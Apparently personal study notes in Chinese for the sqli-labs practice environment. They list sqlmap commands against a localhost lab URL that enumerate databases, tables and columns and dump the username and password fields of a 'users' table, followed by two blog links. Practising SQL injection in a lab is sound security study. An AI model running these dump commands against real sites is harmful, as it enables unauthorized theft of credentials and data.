列出所有数据库
python sqlmap.py -u http://127.0.0.1/LESS-1/?id=1 --dbs
列出security中的表
python sqlmap.py -u http://127.0.0.1/LESS-1/?id=1 -D security --tables
列出表中的字段
python sqlmap.py -u http://127.0.0.1/LESS-1/?id=1 -D security -T users --columns
查询字段的值
python sqlmap.py -u http://127.0.0.1/LESS-1/?id=1 -D security -T users -C id,password,username --dump
https://blog.youkuaiyun.com/qq_33530840/article/details/82144515
https://www.cnblogs.com/Hunter-01001100/p/12377393.html